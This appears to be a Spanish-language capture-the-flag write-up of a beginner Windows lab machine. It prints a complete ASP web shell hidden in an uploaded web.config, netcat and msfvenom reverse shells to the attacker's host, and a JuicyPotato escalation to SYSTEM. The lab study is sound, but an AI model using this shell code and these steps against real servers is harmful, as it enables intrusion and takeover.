murrusko

Ensala de papas

21 Jun 2024

Estamos ante una máquina Windows de nivel principiante creada por CuriosidadesDeHackers y condor de la plataforma The Hackers Labs.

Enumeración

Una vez importada la máquina a nuestro VirtualBox hacemos un escaneo de IPs a nuestra red:

$ sudo arp-scan -I eth1 --localnet
Interface: eth1, type: EN10MB, MAC: 08:00:27:5e:91:9b, IPv4: 10.0.2.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1        52:54:00:12:35:00       QEMU
10.0.2.2        52:54:00:12:35:00       QEMU
10.0.2.3        08:00:27:5b:2e:9c       PCS Systemtechnik GmbH
10.0.2.140      08:00:27:09:18:96       PCS Systemtechnik GmbH

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.017 seconds (126.92 hosts/sec). 4 responded

Como vemos la máquina tiene asignada la IP 10.0.2.140.

Empezamos realizando un escaneo de puertos con nmap. Hacemos un escaneo silencioso-sS, a todos los puertos -p-, que nos de detalles del escaneo -v, que no haga ping al host -Pn, que no haga resolución de DNS -n a nuestra máquina victima 10.0.2.140:

$ sudo nmap -sS -p- -v -Pn -n 10.0.2.140
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
47001/tcp open  winrm
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49158/tcp open  unknown

Una vex que tenemos qué puertos están abiertos hacemos otro escaneo con nmap, pero esta vez para ver con mas detalle que hay en esos puertos:

$ sudo nmap -sCV -p80,135,139,445,47001,49152,49153,49154,49155,49156,49158 -v 10.0.2.140
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 7.5
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49156/tcp open  msrpc         Microsoft Windows RPC
49158/tcp open  msrpc         Microsoft Windows RPC

Host script results:
| nbstat: NetBIOS name: WIN-4QU3QNHNK7E, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:09:18:96 (Oracle VirtualBox virtual NIC)
| Names:
|   WIN-4QU3QNHNK7E<00>  Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WIN-4QU3QNHNK7E<20>  Flags: <unique><active>
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
|_clock-skew: 2m18s
| smb2-time: 
|   date: 2024-06-21T11:29:29
|_  start_date: 2024-06-21T09:27:55

En el resultado vemos que en el puerto 80 hay un servidor Microsoft-IIS/7.5.

Comprobamos que realmente hay un servidor IIS 7.5 con whatweb:

$ whatweb -a 3 -v http://10.0.2.140
WhatWeb report for http://10.0.2.140
Status    : 200 OK
Title     : IIS7
IP        : 10.0.2.140
Country   : RESERVED, ZZ

Summary   : HTTPServer[Microsoft-IIS/7.5], Microsoft-IIS[7.5][Under Construction], X-Powered-By[ASP.NET]

Detected Plugins:
[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        String       : Microsoft-IIS/7.5 (from server string)

[ Microsoft-IIS ]
        Microsoft Internet Information Services (IIS) for Windows 
        Server is a flexible, secure and easy-to-manage Web server 
        for hosting anything on the Web. From media streaming to 
        web application hosting, IIS's scalable and open 
        architecture is ready to handle the most demanding tasks. 

        Module       : Under Construction
        Version      : 7.5
        Website     : http://www.iis.net/

[ X-Powered-By ]
        X-Powered-By HTTP header 

        String       : ASP.NET (from x-powered-by string)

HTTP Headers:
        HTTP/1.1 200 OK
        Content-Type: text/html
        Last-Modified: Tue, 18 Jun 2024 15:19:13 GMT
        Accept-Ranges: bytes
        ETag: "8c9090e092c1da1:0"
        Server: Microsoft-IIS/7.5
        X-Powered-By: ASP.NET
        Date: Fri, 21 Jun 2024 11:30:34 GMT
        Connection: close
        Content-Length: 689

Con curl vemos que hay una página web por defecto de IIS:

$ curl http://10.0.2.140
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS7</title>
<style type="text/css">
<!--
body {
        color:#000000;
        background-color:#B3B3B3;
        margin:0;
}

#container {
        margin-left:auto;
        margin-right:auto;
        text-align:center;
        }

a img {
        border:none;
}

-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&amp;clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>
</body>
</html>

Usamos la herramienta feroxbuster para hacer fuzz al servidor. Le indicamos con -u la url, con -w el diccionario a usar para la búsqueda, -x para indicarle qué extensión buscar en los ficheros, -s para que solo nos devuelva los directorios y ficheros que encuentre y que devuelvan de Status Code 200 y -r para seguir los redirecciones:

$ feroxbuster -u http://10.0.2.140 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x aspx -s 200 -r
200      GET      826l     4457w   331772c http://10.0.2.140/welcome.png
200      GET       32l       53w      689c http://10.0.2.140/200      GET      121l       61w     1159c http://10.0.2.140/zoc.aspx

Encontramos el fichero zoc.aspx. Hacemos un curl para ver el código fuente del fichero:

$ curl http://10.0.2.140/zoc.aspx

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1"><title>
        Secure File Transfer
</title></head>
<body>
    <form name="form1" method="post" action="zoc.aspx" id="form1" enctype="multipart/form-data">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkPcJGUl1Hy844izHTIhfkoIHDrbw=" />

<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAgL3iIH+DALt3oXMAw1C+wxpDnf+65aqZtzoxIjF/bl8" />
    <div>
        <input type="file" name="FileUpload1" id="FileUpload1" />
        <input type="submit" name="btnUpload" value="Upload" onclick="return ValidateFile();" id="btnUpload" />
        <br />
        <span id="Label1"></span>
    </div>
    </form>
</body>
</html>

<!-- /Subiditosdetono -->

Vemos que hay un comentario de un supuesto directorio /Subiditosdetono.

Si entramos a la url vemos que es una web simple para subir un fichero:

image

En hacktricks podemos ver que tipo de ficheros podemos subir al servidor IIS. Vemos que entre los posibles tipos de ficheros esta el .config . En la misma web podemos encontrar un ejemplo que nos permite hacer ejecucion remota. Nos descargamos el fichero web.config y lo subimos al servidor.

El fichero web.config:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>

<%Response.write("<!-"&"-") %>
-->

image

Ejecutamos systeminfo para obtener información del sistema.

image

Vemos que se trata de un Windows Server 2008 Enterprise R 2 .

Ejecutamos whoami /priv para ver con que usuario estamos ejecutando los comandos y ver sus privilegios.

image

Como vemos tiene el privilegio SeImpersonatePrivilege habilitado…

Intrusión

Nos copiamos Netcat en nuestro directorio:

$ cp /usr/share/windows-binaries/nc.exe .

Para compartir ficheros con la máquina victima creamos un servidor samba en nuestra máquina. Usamos impacket-smbserver para crear el server, -smb2support para dar soporte a smb2, kali es el nombre que le doy al recurso compartido y . para compartir lo que tenemos en el directorio actual.

$ impacket-smbserver -smb2support kali .
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Nos ponemos a la escucha:

$ nc -nlvp 8888
listening on [any] 8888 ...

Y tras ejecutar \\10.0.2.5\kali\nc.exe -e cmd 10.0.2.5 8888

image

Obtenemos la shell:

└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.140] 49161
Microsoft Windows [Versi?n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

c:\windows\system32\inetsrv>

Escalada de privilegios

Ahora nos queda obtener privilegios de administrador. Para ello, como hemos visto antes, nos aprovechamos de los privilegios del usuario. En hacktricks vemos las diferentes posibilidades que tenemos. Yo voy a usar JuicyPotato para la escalada.

Descargamos JuicyPotato :

$ wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

Creamos una shell reversa para windows con msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.5 LPORT=8889 -f exe -o shell.exe

Nos ponemos a la escucha:

$ nc -nlvp 8889
listening on [any] 8889 ...

Y ejecutamos:

c:\windows\system32\inetsrv>\\10.0.2.5\kali\JuicyPotato.exe -l 443 -t * -p \\10.0.2.5\kali\shell.exe
\\10.0.2.5\kali\JuicyPotato.exe -l 443 -t * -p \\10.0.2.5\kali\shell.exe
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 443
COM -> recv failed with error: 10038

Vemos que da error y si buscamos el error encontramos que es debido a que el CLSID que proporciona por defecto JuicyPotato no es valido. Los CLSID para los diferentes Windows podemos encontrar en el siguiente link https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise/

Ejecutamos de nuevo incluyendo un CLSID valido y…:

c:\windows\system32\inetsrv>\\10.0.2.5\kali\JuicyPotato.exe -l 443 -t * -p \\10.0.2.5\kali\shell.exe -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
\\10.0.2.5\kali\JuicyPotato.exe -l 443 -t * -p \\10.0.2.5\kali\shell.exe -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"\\10.0.2.5\kali\JuicyPotato.exe -l 443 -t * -p \\10.0.2.5\kali\shell.exe -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 443
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\windows\system32\inetsrv>

Obtenemos una shell como nt authority\system:

└─$ nc -nlvp 8889
listening on [any] 8889 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.140] 49173
Microsoft Windows [Versi?n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>whoami
whoami
nt authority\system